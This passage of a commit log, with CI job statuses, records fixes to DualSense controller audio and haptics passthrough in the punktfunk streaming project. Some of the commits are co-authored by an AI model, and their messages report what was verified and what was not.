docker / apps (docs-site, docs-site/Dockerfile, punktfunk-docs) (push) Successful in 24s
docker / apps (., web/Dockerfile, punktfunk-web) (push) Successful in 31s
docker / builders-arm64cross (push) Successful in 12s
deb / build-publish-host (push) Successful in 5m34s
release / apple (push) Successful in 9m30s
apple / screenshots (push) Successful in 5m56s
windows-host / package (push) Successful in 18m17s
windows-host / winget-source (push) Skipped
windows-host / canary-manifest (push) Successful in 16s
windows-msix / package (arm64, C:\Users\Public\ffmpeg-arm64, --no-default-features, aarch64-pc-windows-msvc, C:\t-a64) (push) Failing after 1m53s
windows-msix / package (x64, C:\Users\Public\ffmpeg, , x86_64-pc-windows-msvc, C:\t) (push) Failing after 1m40s
rpm / build-publish (43, bazzite, punktfunk-fedora-rpm) (push) Successful in 16m29s
rpm / build-publish (44, fedora-44, punktfunk-fedora44-rpm) (push) Successful in 17m10s
windows / build (aarch64-pc-windows-msvc) (push) Failing after 2m16s
flatpak / build-publish (push) Successful in 18m26s
docker / deploy-docs (push) Successful in 18m42s
windows / build (x86_64-pc-windows-msvc) (push) Failing after 2m10s
2026-08-04 21:56:37 +00:00
enricobuehler d27e62f7c9 fix(pad-audio): close the twelve findings the sweep left open on this branch
apple / swift (pull_request) Successful in 1m31s
apple / screenshots (pull_request) Skipped
windows / build (aarch64-pc-windows-msvc) (pull_request) Failing after 41s
ci / web (pull_request) Successful in 1m59s
ci / docs-site (pull_request) Successful in 1m59s
ci / rust-arm64 (pull_request) Successful in 4m5s
windows / build (x86_64-pc-windows-msvc) (pull_request) Failing after 2m37s
android / android (pull_request) Successful in 4m16s
ci / rust (pull_request) Failing after 10m50s
Everything the 2026-08-03 haptics sweep filed against the pad-audio branch (P2 + P3).
Four of them are the difference between a feature that works and one that fails silently.

**B6 — nothing ever un-muted the coils.** Every rumble report asserts `HAPTICS_SELECT`,
which is SDL's "disable audio haptics" bit: the firmware mutes the very voice coils the
0xD1 stream drives. No code anywhere cleared it again, so ONE rumble left tier-A haptics
silent for the rest of that pad's life — no error, nothing in a log, and the host happily
streaming into a muted actuator. `DsDevice.ds5AudioHapticsReport` is the documented undo
(flag0 with both bits clear); written EP0-direct when the stream starts and again after a
rumble stop while a stream is live, because the stop report re-mutes on its way past.

**B10 — the desktop mix could reach a controller's coils.** Pad endpoints were filtered out
inside `plan()` only. The watchdog, Follow mode and the parked default all go through
`judge_default`, which classifies by NAME — and a pad endpoint is deliberately stamped
"DualSense Wireless Controller" so games treat it as the pad's speaker. No name rule could
ever catch one. It now refuses them by identity.

**B27 — an out-of-range pad aliased onto a real slot.** The 0xCD plane's pad is the only u16
index and every consumer narrowed it with `as u8` on an assumption nothing enforced, so wire
pad 256 steered pad 0's speaker volumes. Rejected at the decoder, which makes the narrowings
lossless by construction. An existing test had pinned the bug in place, asserting that wire
pad 513 round-trips; corrected, plus a test for the 256→0 alias specifically.

**B7 — caps that arrived late were never announced.** The renderer commits the tier-A trade
only once its sink opens, which is well past the arrival burst's two 100 ms ticks, and
`set_pad_audio_caps` only stored an atomic. The client believed it had pad audio while the
host emitted nothing. The input task now compares the live registry against what the last
arrival actually carried and re-arms the burst itself — no new plumbing, and no extra traffic
when nothing changed.

The rest: `needs_aeb_kick` is finally ACTED on (R4) — a stored-but-not-served endpoint is
declined rather than opened, because `AUTOCONVERTPCM` makes it succeed and mis-route; a failed
provisioning no longer latches `PROVISIONED` for the process lifetime (R5), and `host_cap`
retries, so a host that started while the audio stack was busy recovers at the next connect
instead of the next reboot; the loopback init timeout reaps its thread instead of detaching one
per ~2 s reopen (R6); kind-change restarts are bounded (R3) since the trigger is a client-sent
arrival; the devtest uses the endpoint's real channel mask (B11) instead of letting wasapi
derive 0x0F against the endpoint's 0x33; the render loop asks `is_session_ended()` rather than
spinning at nice -16 (R12); short writes are counted and reported instead of dropping the tail
in silence (R13); and a frame addressed to another pad is dropped before it can seed the gap
tracker from a foreign sequence space (R14).

Verified: punktfunk-host clippy -D warnings **0 on a real Windows box**; Linux/amd64 clippy 0
with **589 tests** (pf-client-core 114, pf-inject 101, punktfunk-client-android 20,
punktfunk-core 345+1+8); Android :kit: tests + :app: compile green; fmt clean.

Six punktfunk-host tests fail on that Windows box. FIVE fail identically on a tree with no
pad-audio code at all (QUIC `Rejected(SetupFailed)` — the box's network environment); the
sixth passes 3/3 in isolation and only failed under the parallel run, on a locally-bound
ephemeral port. Neither is this change.

Still owed: on-glass. This is a hardware feature and none of it has been on a real DualSense
since the merge.
2026-08-04 23:55:47 +02:00
enricobuehler 0a72959ef7 Merge main into feat/android-pad-audio
86 commits of main, including the whole M1-M12 haptics sweep. Twelve conflicting files;
three of them were more than textual.

**The capability bits collided.** Both branches allocated the SAME wire bits for DIFFERENT
features: `client_caps 0x04` and `host_caps 0x20` are redundant desktop audio on main and
pad audio here. Merged naively, a peer would negotiate one and get the other. Pad audio
moves to the next free bits — `CLIENT_CAP_PAD_AUDIO = 0x08`, `HOST_CAP_PAD_AUDIO = 0x40` —
and the `abi.rs` mirrors move with them (their compile-time equality assertions caught the
mismatch, which is exactly what they are for).

**Both branches also claimed ABI v15.** Main's shipped (the rumble-policy floor), so the
pad-audio surface becomes **v16**.

**`native/input.rs` would have reintroduced a fixed bug.** This branch resets
`rumble_seq[idx]` on pad removal; M1 established that the client's reorder gate is
per-connection with no reset path, so restarting the host counter strands every later
envelope until it climbs back. Took main's seq-preserving `clear_pad_feedback` and kept only
the branch's `pad_streams.stop(idx)`.

The rest: `wiring_plan::plan` now delegates to main's `plan_with_formats`, so the pad-endpoint
filter moved into that body and the predicate behind it is factored out as `is_pad_render`
(also what B10 needs); `Ds5Feedback::AUDIO` derives from main's `REPORT_ID_LEN` like its
siblings; `AudioCtl` joins the explicitly-listed unhandled variants so the guard-false case is
covered rather than swept up by a `_`; `include/punktfunk_core.h` regenerated rather than
hand-merged.
2026-08-04 23:27:06 +02:00
enricobuehler 2d223274fc Merge pull request 'refactor(haptics): one copy of each thing every rumble path was transcribing' (#51) from worktree-haptics-m12-dry into main
apple / swift (push) Successful in 1m22s
ci / web (push) Successful in 1m16s
ci / rust-arm64 (push) Successful in 2m31s
ci / docs-site (push) Successful in 1m59s
android / android (push) Successful in 7m52s
docker / builders (--build-arg FEDORA_VERSION=44, ci/fedora-rpm.Dockerfile, punktfunk-fedora44-rpm, -f44) (push) Successful in 5s
docker / builders (ci/android-ci.Dockerfile, punktfunk-android-ci) (push) Successful in 8s
docker / builders (ci/arch-ci.Dockerfile, punktfunk-arch-ci) (push) Successful in 6s
docker / builders (ci/fedora-rpm.Dockerfile, punktfunk-fedora-rpm) (push) Successful in 6s
docker / builders (ci/rust-ci-noble.Dockerfile, punktfunk-rust-ci-noble) (push) Successful in 6s
docker / builders (ci/rust-ci.Dockerfile, punktfunk-rust-ci) (push) Successful in 5s
docker / apps (., web/Dockerfile, punktfunk-web) (push) Successful in 46s
deb / build-publish (push) Successful in 4m59s
deb / build-publish-client-arm64 (push) Successful in 3m7s
docker / apps (docs-site, docs-site/Dockerfile, punktfunk-docs) (push) Successful in 1m12s
docker / builders-arm64cross (push) Successful in 5s
deb / build-publish-host (push) Successful in 4m38s
docker / deploy-docs (push) Successful in 29s
release / apple (push) Successful in 8m57s
ci / rust (push) Successful in 10m43s
arch / build-publish (push) Successful in 10m49s
apple / screenshots (push) Successful in 5m55s
flatpak / build-publish (push) Successful in 8m51s
rpm / build-publish (44, fedora-44, punktfunk-fedora44-rpm) (push) Successful in 16m39s
windows-host / package (push) Successful in 17m21s
windows-host / winget-source (push) Skipped
windows-host / canary-manifest (push) Successful in 18s
rpm / build-publish (43, bazzite, punktfunk-fedora-rpm) (push) Successful in 18m44s
windows / build (aarch64-pc-windows-msvc) (push) Successful in 1m16s
windows / build (x86_64-pc-windows-msvc) (push) Successful in 2m49s
windows-msix / package (x64, C:\Users\Public\ffmpeg, , x86_64-pc-windows-msvc, C:\t) (push) Failing after 1m11s
windows-msix / package (arm64, C:\Users\Public\ffmpeg-arm64, --no-default-features, aarch64-pc-windows-msvc, C:\t-a64) (push) Successful in 2m59s
2026-08-04 21:11:49 +00:00
enricobuehler 173be61213 fix(android/pad-audio): an unplugged pad comes back whole, and an idle one arrives at all
android / android (pull_request) Successful in 4m24s
ci / web (pull_request) Successful in 2m29s
windows / build (aarch64-pc-windows-msvc) (pull_request) Failing after 36s
windows / build (x86_64-pc-windows-msvc) (pull_request) Failing after 44s
ci / rust-arm64 (pull_request) Successful in 3m33s
apple / swift (pull_request) Successful in 1m18s
apple / screenshots (pull_request) Skipped
ci / docs-site (pull_request) Successful in 2m45s
ci / rust (pull_request) Successful in 6m52s
Three faults on the default capture path, all of them silent.

Unplug tore nothing down. onLinkClosed() is the real unplug signal — silence
never is, an idle pad simply stops streaming — but it skipped the pad-audio
teardown that stop() performs, so the render thread went on writing to a
descriptor whose device was gone, the renderer's own UsbDeviceConnection leaked,
and because the started flag stayed set and the native tier-A registry stayed
armed for that wire index, the pad came back with neither pad audio nor wire
rumble: the next occupant of the index inherited a suppression nothing would
lift. The teardown is now one shared step and runs on both paths, before the
slot is released, since the renderer is addressed by the index the release
forgets.

The wire slot was claimed on the first parsed report. A captured pad that
reports nothing then gave the host no arrival, so no virtual pad, no pad-audio
capability, no 0xD1 — a renderer sitting at zero frames, which is exactly what a
broken pipeline looks like, and it took a physical replug to clear. A pad that
reports nothing is still a pad, so the slot is claimed when the capture engages;
the first report stays as the fallback for a claim that found no free index.
This also puts the common claim on the main thread, which is the contract
GamepadRouter.openExternal documents and the link thread was quietly breaking.

And the two settings had no UI. The model and its persistence existed but no
toggle did, so pad_speaker could only be set by hand-editing shared_prefs, and
pad_haptics — which decides whether the pad trades wire rumble at all — could
not be turned off by anyone who hit trouble with it. Both are now rows under the
DualSense passthrough toggle, gated on it, since neither does anything to an
uncaptured pad.

The padHaptics doc no longer describes the arbitration as a selection forced by
a firmware-level mutual exclusion. It is decided on evidence — the coils belong
to haptics only while haptics frames arrive — which is what 2032c48f changed it
to and why a rumble-only title keeps rumbling.
2026-08-04 20:13:45 +02:00
enricobuehler 2032c48ffa fix(android/pad-audio): a game that only rumbles keeps rumbling
ci / web (pull_request) Successful in 1m19s
ci / docs-site (pull_request) Successful in 2m49s
ci / rust-arm64 (pull_request) Successful in 3m9s
android / android (pull_request) Failing after 4m23s
ci / rust (pull_request) Successful in 6m54s
apple / swift (pull_request) Successful in 1m24s
apple / screenshots (pull_request) Skipped
windows / build (aarch64-pc-windows-msvc) (pull_request) Failing after 2m22s
windows / build (x86_64-pc-windows-msvc) (pull_request) Failing after 55s
Three faults that between them silence a wired DualSense.

The trade was committed without asking whether the host can send pad audio at
all. Against every released host — no HOST_CAP_PAD_AUDIO — the renderer claimed
the interface, took the pad off wire rumble, and then rendered nothing, with
`pad_haptics` defaulting on and no UI to turn it off. The capability is now
checked before `sink::open`, so nothing is claimed and nothing is traded.

Arming was unconditional, so a speaker-only setup took the motors away too. The
speaker pair is channels 0/1 and no rumble write can disturb it; only the
haptics lane arms now.

And the suppression itself was wrong for the case that matters most: a title
driving classic rumble and no haptics audio. Suppressing on "a stream is open"
assumed the game's rumble rides the haptics mix, which for such a title is
false — it renders no haptics audio at all, so the host's -60 dBFS gate emits
nothing on 0xD1 and the pad was left with neither. Ownership is now decided by
evidence: the coils belong to haptics only while haptics frames are actually
arriving, and to wire rumble otherwise. Frames are stamped on arrival rather
than after decode, so a decoder hiccup cannot hand the coils back mid-effect,
and concealment does not count as evidence. Liveness is dropped at every
teardown, because wire indices are recycled and a stale stamp would let a fresh
pad inherit the previous occupant's ownership.

Arbitrating on evidence rather than on a prediction about the hardware is
deliberate, and the module doc now says why. It used to assert that the coils
and the rumble motors are the same physical actuators — "a firmware constraint,
not a preference". Nothing establishes that: it traces to one reverse-engineered
comment in SDL, whose own modern path sets HAPTICS_SELECT alone with amplitude
on ucEnableBits3, which reads more like an independent mute than a shared-
actuator interlock. The combination that would settle it — rumble with
HAPTICS_SELECT cleared — is emitted by no code anywhere, and nothing here writes
it either. The evidence rule is correct under either hypothesis.

The liveness clock is 1-based so that 0 stays an unambiguous "never stamped":
without it a frame arriving in the process's first millisecond read as
never-arrived and handed the coils back mid-effect. Its test caught that.

Verified: clippy -p punktfunk-client-android --all-targets --locked -D warnings
= 0; 15 tests pass.

Owed: the desktop twin of the arbiter, and the coil restore — the Android stop
write still asserts HAPTICS_SELECT with zero amplitude, where SDL's all-zero
stop restores the audio path.

From the 2026-08-03 force-feedback sweep (B4, B5; B6 partly).
2026-08-03 19:44:52 +02:00
enricobuehler 9a52c279f1 Merge branch 'main' into feat/android-pad-audio
ci / web (pull_request) Successful in 1m24s
android / android (pull_request) Successful in 3m55s
apple / swift (pull_request) Canceled after 0s
apple / screenshots (pull_request) Canceled after 0s
ci / rust (pull_request) Canceled after 5m1s
ci / rust-arm64 (pull_request) Canceled after 3m22s
ci / docs-site (pull_request) Canceled after 1m35s
windows / build (aarch64-pc-windows-msvc) (pull_request) Canceled after 0s
windows / build (x86_64-pc-windows-msvc) (pull_request) Canceled after 0s
2026-08-03 17:39:07 +00:00
enricobuehler 5be494f490 merge: bring main into the pad-audio branch
ci / web (pull_request) Successful in 1m0s
windows / build (x86_64-pc-windows-msvc) (pull_request) Failing after 1m2s
apple / swift (pull_request) Successful in 1m18s
apple / screenshots (pull_request) Skipped
ci / docs-site (pull_request) Successful in 1m51s
windows / build (aarch64-pc-windows-msvc) (pull_request) Failing after 34s
ci / rust-arm64 (pull_request) Successful in 2m48s
android / android (pull_request) Successful in 3m49s
ci / rust (pull_request) Successful in 5m40s
Main had moved 34 commits past the merge-base and 13 files had diverged.
Resolving now rather than later, since the force-feedback sweep work is landing
in the same files.

Five conflicts needed hand resolution. Four were "each side added something
different" and keep both: the Forwarding and PadAudioPrefs control variants with
their handlers and setters (pf-client-core/gamepad.rs), both of the session's
pre-attach declarations (forwarding first, so slots still declare their
pad-audio caps at open time), main's WiredPlan/fingerprint alongside the
branch's pad_render_ids (audio_control.rs), and main's judge_default signature
(wasapi_cap.rs).

wiring_plan.rs was not mechanical. Main's 652abeb3 added a flagged last-resort
loopback tier; the branch had added a fifth `plan` parameter excluding pad
endpoints from every role. Taking either side alone loses the other, and
combining them carelessly is worse than both: the new last-resort tier would
happily select the pad's own speaker endpoint, which is stamped "DualSense
Wireless Controller" with no virtual marker precisely so games read it as the
pad's speaker — routing the entire desktop mix into the controller's voice
coils. The branch's exclusion shadows `renders` before any tier runs, so the
last resort inherits it; `a_pad_is_never_the_last_resort` pins that, including
that a pad-only candidate set stays honestly unsatisfiable rather than falling
back onto the coils.

Verified: clippy -p punktfunk-host -p pf-client-core --all-targets --locked
-D warnings = 0; pf-client-core 93/93; punktfunk-host 387 passed with only the
known-environmental gamestream sender_delivers_batches UDP-loopback flake;
wiring_plan 21/21; fmt clean.

NOT verified: audio_control.rs and wasapi_cap.rs are cfg(windows), so neither
the Linux container nor xcheck.sh compiles them. Those two resolutions have had
review only and need the Windows runner before this merges.
2026-08-03 19:11:26 +02:00
enricobuehlerandClaude Opus 5 0d5e5b436b fix(android/pad-audio): pin the uac-host that unmutes the pad
ci / web (pull_request) Successful in 59s
apple / swift (pull_request) Successful in 1m20s
apple / screenshots (pull_request) Skipped
ci / docs-site (pull_request) Successful in 1m50s
android / android (pull_request) Successful in 5m55s
windows / build (aarch64-pc-windows-msvc) (pull_request) Failing after 59s
windows / build (x86_64-pc-windows-msvc) (pull_request) Failing after 54s
ci / rust-arm64 (pull_request) Successful in 9m27s
ci / rust (pull_request) Canceled after 14m9s
The pad rendered nothing — not its speaker, not its voice coils — because
`uac-host` streamed into a device it never unmuted. It set the sample rate and
nothing else; the UAC Feature Unit, where Mute and Volume live, was parsed by
nobody. Every counter stayed green throughout: URBs completed, 0 short bytes,
0 URB errors, 0 short writes here, decoded peak 19345. None of them can observe
mute, so a muted device is indistinguishable from a working one.

Bumps the pin to unom-io/usbfs-iso f3de1fd, which sends SET_CUR Mute=0 and
Volume=0 dB to the Feature Unit before the stream starts.

With this in, Spider-Man Remastered's haptics reach the physical DualSense
through the virtual pad, confirmed by feel on real hardware.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-03 14:35:27 +02:00
enricobuehlerandClaude Opus 5 3a48cc2470 test(host/pad-audio): drive either channel pair, so the speaker leg can be proven too
`pad-endpoint tone` only ever drove the BACK pair, which meant the pad's speaker
— the FRONT pair, the other half of the 4-channel split — had never carried a
signal end to end. The capture probe's verdict was shaped the same way, and
called a perfectly good front-pair run "silent".

`--pair front|back|both` picks the pair, and the verdict now reports which pair
it SAW rather than judging against an assumed one.

Measured on .173, an exact mirror in both directions and no crosstalk either way:

  --pair back   peak_front=0.0000  peak_back=0.5000   back only, channel-exact
  --pair front  peak_front=0.5000  peak_back=0.0000   front only, channel-exact
  --pair both   peak_front=0.5000  peak_back=0.5000   both

So the host half of the speaker path is proven to the same standard the haptics
path was. What is still unproven is the client rendering the front pair into the
pad's own speaker; that needs the phone unlocked, which it no longer is.

Host clippy clean; 360 tests pass, the one mgmt display failure reproduces on a
clean tree.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-03 12:38:06 +02:00
enricobuehlerandClaude Opus 5 64a392634e test(host/pad-audio): prove the endpoint actually carries audio, channel-exact
`pad-endpoint tone` only ever proved a render client could open the endpoint.
Whether anything came back out of the loopback — and in the right channel pair —
was still taken on faith, which is exactly the gap that let a stamped-but-
unservable endpoint look healthy while a client sat on an empty plane.

`pad-endpoint capture [seconds]` opens the real PadLoopbackCapturer and reports
frames plus per-pair peaks, so the two halves together exercise render -> engine
-> loopback -> pair routing with no game and no client attached.

Run against each other on .173:

  pad-endpoint capture: 157920 frames over 7s, peak_front=0.0000 peak_back=0.5000
  VERDICT: PASS - back pair only, front pair silent (channel-exact).

0.5 is the tone's own amplitude and the front pair is dead silent, which is the
signal the 0xD1 framer routes to the voice coils. Same figure the program notes
recorded on 2026-08-01 and nothing has been able to reproduce since.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-03 12:09:38 +02:00
enricobuehlerandClaude Opus 5 35285afafc fix(host/pad-audio): retire the freed-string endpoint lookup everywhere, and make provisioning converge
Two loose ends from the pad-audio bring-up.

`wasapi 0.23`'s `DeviceEnumerator::get_device` passes `GetDevice` a pointer
into an `HSTRING` temporary that was already dropped, so it resolves whatever
the allocator left behind and misses ids that are perfectly valid. Only the
pad-audio path had been moved off it; the remaining four callers include
desktop loopback capture and the default-endpoint judgement, where a spurious
miss silently downgrades a capturable default to Unknown. The host now resolves
through `open_wasapi_device` (raw COM, buffer kept alive). `pf-client-core`
cannot share that helper — it pins a different `windows` revision than `wasapi`
does, so the two `IMMDevice` types are incompatible — and instead scans the
active collection by id, which touches only safe crate APIs.

Provisioning also stopped latching a transient. A stamp lands, a check run
immediately afterwards reports all seven keys served, and AudioEndpointBuilder
then reverts the three format keys behind us, leaving 4/7 for good. Since
`needs_aeb_kick` is what makes startup restart AudioEndpointBuilder + Audiosrv,
that transient meant bouncing the machine's whole audio stack on every host
start, forever, chasing stamps a re-pass lands. `ensure` now stamps, lets AEB
settle, and only then checks — repeating up to five times.

Before: fresh provisions landed 4/7 with kick=true on 3 of 4 runs. After: 4 of
4 runs settle 7/7 with kick=false in 2.8s, identity intact (Wireless
Controller / DualSense Wireless Controller / PFDS container), 4ch mask 0x33,
render and loopback capture both opening, and `pad-endpoint tone` clean.

Host clippy clean; 360 tests pass, the one mgmt display failure reproduces on a
clean tree. The client-side helper is type-checked against wasapi on Windows in
isolation — pf-client-core itself will not build on .173 (no ffmpeg/SDL3/Vulkan
toolchain there), so its module integration is unverified.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-03 11:44:29 +02:00
enricobuehlerandClaude Opus 5 0d0e7e6861 style(host/pad-audio): drop a redundant f32 cast in the tone devtest
clippy's `unnecessary_cast` fires on it, which fails CI's -D warnings.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-03 11:15:48 +02:00
enricobuehlerandClaude Opus 5 143454590f test(host/pad-audio): let a stamp subset be re-provisioned, and confirm the endpoint really is 4ch
`PUNKTFUNK_PAD_AUDIO_STAMPS` narrows `ensure` to a named subset of the seven
stamps (unset keeps all of them, so the shipping path is unchanged). The
MMDevices Properties ACL denies even an elevated `reg delete`, so the only way
to ask "which stamp breaks this endpoint" was to re-provision with subsets.

Using it settled that nothing does. Once the heap corruption is out of the way
and stamping completes in ONE pass, the full set yields an endpoint that is
4ch/48k/mask 0x33 with both directions open — render and the loopback capture
that feeds the 0xD1 plane — and `pad-endpoint tone` renders without error.

The intermediate reading, that the Steam driver was stereo-only and the feature
needed a different carrier, was a confounded A/B: the "stamped" sample had
accumulated its stamps across heap-corrupted runs. Asked properly — in
EXCLUSIVE mode, which reaches the driver instead of the engine's mix format —
that driver reports 2ch, 4ch and 8ch, the same shape a real DualSense reports.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-03 11:14:43 +02:00
enricobuehlerandClaude Opus 5 9409d0a04c fix(host/pad-audio): provisioning stops corrupting the heap, and the endpoint stops being resolved by a freed string
Two defects sat between the pad-audio endpoint and any sound. Neither was
where the symptom pointed.

`windows 0.62` implements `Drop for PROPVARIANT` as `PropVariantClear(self)`.
Every variant `set_store_value` builds borrows memory Rust owns — a `Vec<u16>`,
a `&GUID`, a `&'static [u8]` — so each stamp handed that pointer to
`CoTaskMemFree`. The file said the opposite in a comment, which is why it
looked safe. The damage surfaced late: `pad-endpoint ensure` died with
STATUS_HEAP_CORRUPTION (0xC0000374) partway through stamping, leaving the
endpoint with whatever subset had landed and `needs_aeb_kick` stuck true
forever. With the variants held in `ManuallyDrop`, `ensure` exits 0 and all
seven stamps read back served for the first time.

`wasapi 0.23`'s `DeviceEnumerator::get_device` builds its argument as
`PCWSTR::from_raw(HSTRING::from(id).as_ptr())`; the `HSTRING` is a temporary,
so `GetDevice` reads freed memory. That is where the `IAudioClient: 0x80070002`
came from — not from the endpoint, which activates fine. Resolving through
`open_mmdevice`, which keeps its buffer alive, retires the error in both the
tone devtest and the loopback capture.

Also adds the instrument that separated these: the tone path now reports the
raw `IMMDevice::Activate` result alongside the crate's, and `pad-endpoint tone
--endpoint <id>` can drive any endpoint, so "this process cannot activate
anything" and "this endpoint is broken" stop looking identical.

Verified on .173: ensure exit=0, 7/7 stamps served, needs_aeb_kick=false,
0x80070002 gone. Host clippy clean; 360 tests pass (the one mgmt display
failure reproduces on a clean tree).

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-03 11:01:22 +02:00
enricobuehler 212bdc3b08 fix(devtest): resolve the pad endpoint by system lookup, not the service's cache
apple / swift (pull_request) Successful in 1m25s
apple / screenshots (pull_request) Skipped
ci / rust-arm64 (pull_request) Successful in 1m43s
windows / build (x86_64-pc-windows-msvc) (pull_request) Successful in 2m37s
ci / docs-site (pull_request) Successful in 3m8s
ci / web (pull_request) Successful in 3m31s
ci / rust (pull_request) Successful in 8m16s
android / android (pull_request) Successful in 8m43s
windows / build (aarch64-pc-windows-msvc) (pull_request) Failing after 14m18s
2026-08-03 10:09:49 +02:00
enricobuehler 45cb525035 wip(host): pad-endpoint tone devtest
windows / build (aarch64-pc-windows-msvc) (pull_request) Successful in 1m16s
apple / swift (pull_request) Successful in 1m28s
apple / screenshots (pull_request) Skipped
ci / rust-arm64 (pull_request) Successful in 1m34s
ci / docs-site (pull_request) Successful in 2m48s
windows / build (x86_64-pc-windows-msvc) (pull_request) Successful in 2m28s
ci / web (pull_request) Successful in 3m53s
android / android (pull_request) Canceled after 4m2s
ci / rust (pull_request) Canceled after 4m9s
2026-08-03 10:05:52 +02:00
enricobuehler 6fed1510ba test(android): report renderer stats even when the plane is silent
ci / web (pull_request) Successful in 1m2s
apple / swift (pull_request) Successful in 1m16s
ci / docs-site (pull_request) Successful in 1m16s
apple / screenshots (pull_request) Skipped
ci / rust-arm64 (pull_request) Successful in 1m30s
windows / build (aarch64-pc-windows-msvc) (pull_request) Successful in 1m53s
android / android (pull_request) Successful in 4m7s
windows / build (x86_64-pc-windows-msvc) (pull_request) Successful in 2m30s
ci / rust (pull_request) Canceled after 4m44s
The renderer now reports once a second regardless of traffic — frames in,
samples decoded, peak level, frames written, underruns, short bytes.

The first version reported only after a frame arrived, which made the single
most diagnostic state unreportable: an idle plane and a dead renderer looked
identical (both silent). That cost a debugging round on real hardware, where the
absence of any line had to be triangulated against usbfs interface claims and
`dumpsys input` to work out which of the two it was.

The peak is of the decoded PCM, and it is the discriminator that matters: frames
arriving with peak=0 means the host's capture is hearing silence — a routing
problem upstream — whereas a non-zero peak means real signal is reaching the pad
and anything still wrong is downstream of the write.
2026-08-03 10:01:05 +02:00
enricobuehler 4fd240deab test(android): make the pad-audio self test reachable without a host
ci / web (pull_request) Successful in 1m13s
ci / docs-site (pull_request) Successful in 1m13s
apple / swift (pull_request) Successful in 1m20s
apple / screenshots (pull_request) Skipped
windows / build (aarch64-pc-windows-msvc) (pull_request) Successful in 1m46s
ci / rust-arm64 (pull_request) Successful in 2m37s
android / android (pull_request) Successful in 3m58s
windows / build (x86_64-pc-windows-msvc) (pull_request) Successful in 2m13s
ci / rust (pull_request) Successful in 4m6s
The self test shipped in the previous commit was gated behind a capture, which
needs a stream, which needs a host — so it depended on precisely the thing it
exists to rule out. It could not have been run in the situation that motivated
it.

It is now a "Test haptics" button on the DualSense passthrough card in
Settings → Controllers → Connected controllers, which is reachable with no
session at all. It opens its OWN connection to the pad — the same rule the
renderer follows, and the rule whose violation caused the fault this test looks
for — runs the tone on a worker thread, and reports a plain-language result:
which of open / write / no-data failed, or how many frames reached the pad.

The debug-property trigger stays for the in-session case; this is the one that
answers "can this phone drive this pad at all" before a host is even involved.
2026-08-03 09:38:46 +02:00
enricobuehler e32bd30c85 fix(android): give the renderer its own USB connection, and add a real-world self test
ci / docs-site (pull_request) Successful in 1m13s
apple / swift (pull_request) Successful in 1m17s
windows / build (aarch64-pc-windows-msvc) (pull_request) Successful in 1m3s
apple / screenshots (pull_request) Skipped
ci / web (pull_request) Successful in 1m26s
ci / rust-arm64 (pull_request) Successful in 1m28s
android / android (pull_request) Successful in 4m5s
windows / build (x86_64-pc-windows-msvc) (pull_request) Successful in 3m21s
ci / rust (pull_request) Successful in 13m11s
**The bug.** The renderer was handed `HidUsbLink`'s file descriptor. That link's
own comment states the hazard exactly — "only one thread may drive a
connection's UsbRequests (requestWait() returns ANY completed request; a second
waiter would steal the reader's completions)" — and it is just as true of the
usbfs reap underneath: the isochronous ring and the HID reader were reaping each
other's URB completions. The standalone harness works because it owns its
descriptor by construction, which is precisely why it could never have caught
this. `DsCapture` now opens a dedicated connection via `openAuxConnection()` and
closes it only after the render thread is joined.

**The test.** Nothing exercised the CLIENT path without a host, so the two things
most likely to be wrong were invisible: whether the descriptor handed over is
exclusively ours, and whether the claim succeeds on this kernel. Neither is
unit-testable and a harness proves neither.

`nativePadAudioSelfTest` drives the voice coils with a tone through the real
path — the same aux connection, claim, sink and write loop the renderer uses —
and is triggered by `adb shell setprop debug.punktfunk.pad_audio_selftest 3`,
matching this repo's existing debug.punktfunk.* convention. It runs INSTEAD of
the renderer for that capture, never alongside it: two engines on one descriptor
is the fault being tested for, and I nearly shipped it into the test itself.

Underruns are deliberately not a failure condition — that is producer pacing.
The pass condition is data reaching the bus.
2026-08-03 00:38:58 +02:00
enricobuehler 2f1ef44191 fix(android): commit the tier-A trade only once the USB stream actually opens
ci / web (pull_request) Successful in 1m14s
apple / swift (pull_request) Successful in 1m17s
apple / screenshots (pull_request) Skipped
ci / docs-site (pull_request) Successful in 2m1s
ci / rust-arm64 (pull_request) Successful in 2m9s
windows / build (aarch64-pc-windows-msvc) (pull_request) Successful in 3m12s
android / android (pull_request) Successful in 3m36s
ci / rust (pull_request) Canceled after 4m11s
windows / build (x86_64-pc-windows-msvc) (pull_request) Canceled after 55s
A real bug, and the worst shape one can take here: it costs the user ALL
haptics rather than degrading.

`pad_audio::start` returned success as soon as the render thread spawned, and
`nativeStartPadAudio` then declared the pad's render capability and took it off
wire rumble. But `sink::open` runs later, on that thread. On a kernel that
refuses the interface claim — the OEM case documented as needing a clean tier-C
fallback — the pad was already suppressed and the host already streaming 0xD1 at
a renderer that never opened. No pad audio, and no rumble either.

The declaration and the suppression now happen inside the renderer, immediately
after a successful open, and are both withdrawn when it stops. A failed open
declares nothing and suppresses nothing, so the session stays on ordinary rumble
— which is what "degrades to tier C" was always supposed to mean. `PadAudio`'s
Drop clears the tier-A bit too, so a thread that dies unexpectedly cannot leave a
pad permanently mute.

The general rule this violated: never give up a working fallback until the thing
replacing it is known to work. Spawning a thread is not evidence that it will.
2026-08-03 00:34:47 +02:00
enricobuehler 8ee224e5db fix(android): advertise CLIENT_CAP_PAD_AUDIO, without which nothing is ever sent
ci / web (pull_request) Successful in 1m6s
apple / swift (pull_request) Successful in 1m20s
apple / screenshots (pull_request) Skipped
windows / build (aarch64-pc-windows-msvc) (pull_request) Successful in 1m35s
ci / docs-site (pull_request) Successful in 1m14s
android / android (pull_request) Successful in 3m2s
windows / build (x86_64-pc-windows-msvc) (pull_request) Successful in 2m20s
ci / rust-arm64 (pull_request) Successful in 5m27s
ci / rust (pull_request) Successful in 12m30s
A gap in the previous commits, and the same silent-failure shape as the two they
fixed. There are TWO negotiations, not one: the per-pad render capabilities that
ride a gamepad arrival (bits 8/9), which those commits set, and the SESSION-level
CLIENT_CAP_PAD_AUDIO in the Hello, which they did not. Without the latter the
host never sets HOST_CAP_PAD_AUDIO and emits no 0xD1 at all — so the per-pad bits
